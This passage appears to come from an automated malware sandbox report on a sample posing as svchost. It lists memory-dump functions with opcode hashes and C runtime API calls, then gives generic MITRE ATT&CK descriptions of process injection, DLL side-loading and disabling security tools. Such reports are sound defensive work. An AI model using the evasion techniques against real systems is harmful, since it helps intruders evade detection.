Instruction Fuzzy Hash: 4A41E474E01248CBEB18DFAAD8547DDBBF2AF89300F20D42AC515AB664DB345A45CF50

Function 090FEF80 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dbf27e9fd7c5de22f79c00d9682ef460e4b8bb1e1ae33f9327d793f6de9d340
Instruction ID: 80c1e120d2346db114fad44fa592bfdb84a206d32cb045334fd4565f2fb5162d
Opcode Fuzzy Hash: 9dbf27e9fd7c5de22f79c00d9682ef460e4b8bb1e1ae33f9327d793f6de9d340
Instruction Fuzzy Hash: 1D41D370E01208CBEB58DFAAC8547DDBBF2AF89300F20D52AC519BB665DB384A45CF40

Function 090FDE1F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 179e0c303faf678b4411409fa7bda7d3080973753fdb061cf9200a342b1400a1
Instruction ID: cf27e2039bba79fea614752882792cc5b3a0c2e6abd7c7f1404f9d9654ae2ffd
Opcode Fuzzy Hash: 179e0c303faf678b4411409fa7bda7d3080973753fdb061cf9200a342b1400a1
Instruction Fuzzy Hash: 3341C370E01248CFEB58DFAAD9547DDBBF2AF89300F20D569C519AB2A4DB344A45CF50

Function 090FD570 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ccf84a95ece2e9fcc3cbd1cfbe13bd5f39d80f416cc8d8aa0b155020db042c
Instruction ID: 986fc77564dfbec809e8185ca489311d72979fb50191bee5d566e13508bc51ab
Opcode Fuzzy Hash: 71ccf84a95ece2e9fcc3cbd1cfbe13bd5f39d80f416cc8d8aa0b155020db042c
Instruction Fuzzy Hash: 0441D2B0E052088BEB58DFAAC8547DDBBF2AF89300F20D529C519BB695DB344A45CF40

Function 090FD9D5 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d8cf934c163955afb26f2fa818387863de9a310c412ea375bcf7ccdbf576aa
Instruction ID: 69fc1e844bffee1e702bdf96a8a56a4fc3397d32bfa96679d006ba759157b280
Opcode Fuzzy Hash: b2d8cf934c163955afb26f2fa818387863de9a310c412ea375bcf7ccdbf576aa
Instruction Fuzzy Hash: 8E41E370E05248CBEB18DFAAD8547EDBBF2AF89300F24D529C518BB694DB344A45CF44

Function 00402F89 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
Instruction ID: 40597224e526abc728bb10992f322fa75c91b34d76fbbe6bc80328d1c420bfc2
Opcode Fuzzy Hash: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
Instruction Fuzzy Hash: F321923170520247EB68C929C9547ABB3A5ABC0389F48853EC986A73C8DAB9E941D785

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,033023D0), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(03302178), ref: 00414050

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 07916E28 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 07916E3E
\;q, xrefs: 07916E34
\;q, xrefs: 07916E5A
\;q, xrefs: 07916E66

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: da67b1748872bf9bfa29874603c2c9d7e3fdf26b1f75250379a021fa0bd3bfac
Instruction ID: 6ca3ed08a10439a63b590cd0779093b39fd9ffee9b926cb17f2ea609ef1a9cb9
Opcode Fuzzy Hash: da67b1748872bf9bfa29874603c2c9d7e3fdf26b1f75250379a021fa0bd3bfac
Instruction Fuzzy Hash: E401D8B1F1011D8FC7208A2DC444A2577EAAF89668719C769E802CB370DE72DC718780

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
